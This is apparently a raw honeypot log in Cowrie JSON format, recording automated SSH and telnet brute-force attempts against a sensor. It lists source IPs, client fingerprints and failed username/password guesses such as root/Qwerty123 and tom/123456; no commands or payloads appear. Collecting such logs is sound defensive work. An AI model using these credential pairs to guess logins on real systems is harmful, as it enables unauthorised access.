{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:00.984945Z","src_ip":"176.65.132.254","session":"dee12550f83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:02.071113Z","src_ip":"176.65.132.254","session":"dee12550f83b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37830,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba5fcafeb37","protocol":"ssh","message":"New connection: 176.65.132.254:37830 (10.17.0.5:22) [session: 4ba5fcafeb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:04.443927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:04.449257Z","src_ip":"176.65.132.254","session":"4ba5fcafeb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:04.537488Z","src_ip":"176.65.132.254","session":"4ba5fcafeb37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:04.844837Z","src_ip":"176.65.132.254","session":"4ba5fcafeb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:05.944015Z","src_ip":"176.65.132.254","session":"4ba5fcafeb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57104,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ac5a9ba807","protocol":"telnet","message":"New connection: 38.54.119.93:57104 (10.17.0.5:23) [session: 69ac5a9ba807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:06.060918Z"}
{"eventid":"cowrie.session.closed","duration":0.9879202842712402,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:07.048703Z","src_ip":"38.54.119.93","session":"69ac5a9ba807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37852,"dst_ip":"10.17.0.5","dst_port":22,"session":"0efb88be717f","protocol":"ssh","message":"New connection: 176.65.132.254:37852 (10.17.0.5:22) [session: 0efb88be717f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:08.836884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:08.841571Z","src_ip":"176.65.132.254","session":"0efb88be717f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:08.940439Z","src_ip":"176.65.132.254","session":"0efb88be717f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:09.195228Z","src_ip":"176.65.132.254","session":"0efb88be717f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:10.297488Z","src_ip":"176.65.132.254","session":"0efb88be717f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42720,"dst_ip":"159.203.135.109","dst_port":23,"session":"16767e41b53d","protocol":"telnet","message":"New connection: 134.209.8.29:42720 (159.203.135.109:23) [session: 16767e41b53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:10.491993Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50826,"dst_ip":"10.17.0.5","dst_port":22,"session":"562c8a954459","protocol":"ssh","message":"New connection: 176.65.132.254:50826 (10.17.0.5:22) [session: 562c8a954459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:13.233754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:13.239729Z","src_ip":"176.65.132.254","session":"562c8a954459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:13.322278Z","src_ip":"176.65.132.254","session":"562c8a954459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:13.570413Z","src_ip":"176.65.132.254","session":"562c8a954459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:14.661519Z","src_ip":"176.65.132.254","session":"562c8a954459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.221205711364746,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:15.713090Z","src_ip":"134.209.8.29","session":"16767e41b53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e400f7c61e","protocol":"telnet","message":"New connection: 134.209.8.29:46338 (159.203.135.109:23) [session: 81e400f7c61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:17.231884Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50842,"dst_ip":"10.17.0.5","dst_port":22,"session":"203b51a878cf","protocol":"ssh","message":"New connection: 176.65.132.254:50842 (10.17.0.5:22) [session: 203b51a878cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:17.335707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:17.377565Z","src_ip":"176.65.132.254","session":"203b51a878cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:17.597654Z","src_ip":"176.65.132.254","session":"203b51a878cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:18.201177Z","src_ip":"176.65.132.254","session":"203b51a878cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:19.292197Z","src_ip":"176.65.132.254","session":"203b51a878cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50844,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50f83160184","protocol":"ssh","message":"New connection: 176.65.132.254:50844 (10.17.0.5:22) [session: b50f83160184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:21.823972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:21.829217Z","src_ip":"176.65.132.254","session":"b50f83160184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:21.911382Z","src_ip":"176.65.132.254","session":"b50f83160184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:22.157564Z","src_ip":"176.65.132.254","session":"b50f83160184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:23.243618Z","src_ip":"176.65.132.254","session":"b50f83160184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":32738,"dst_ip":"159.203.135.109","dst_port":22,"session":"797d5827dc22","protocol":"ssh","message":"New connection: 152.32.189.59:32738 (159.203.135.109:22) [session: 797d5827dc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:24.781035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:24.789321Z","src_ip":"152.32.189.59","session":"797d5827dc22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:25.062857Z","src_ip":"152.32.189.59","session":"797d5827dc22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj","message":"login attempt [ubuntu/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:25.933914Z","src_ip":"152.32.189.59","session":"797d5827dc22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42478,"dst_ip":"10.17.0.5","dst_port":22,"session":"7acaf293be90","protocol":"ssh","message":"New connection: 176.65.132.254:42478 (10.17.0.5:22) [session: 7acaf293be90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:26.219740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:26.224965Z","src_ip":"176.65.132.254","session":"7acaf293be90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:26.307248Z","src_ip":"176.65.132.254","session":"7acaf293be90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:26.553264Z","src_ip":"176.65.132.254","session":"7acaf293be90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:27.167358Z","src_ip":"152.32.189.59","session":"797d5827dc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:27.691999Z","src_ip":"176.65.132.254","session":"7acaf293be90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42486,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c9b15d3bcb","protocol":"ssh","message":"New connection: 176.65.132.254:42486 (10.17.0.5:22) [session: 34c9b15d3bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:30.635738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:30.640384Z","src_ip":"176.65.132.254","session":"34c9b15d3bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:30.721961Z","src_ip":"176.65.132.254","session":"34c9b15d3bcb","protocol":"ssh"}
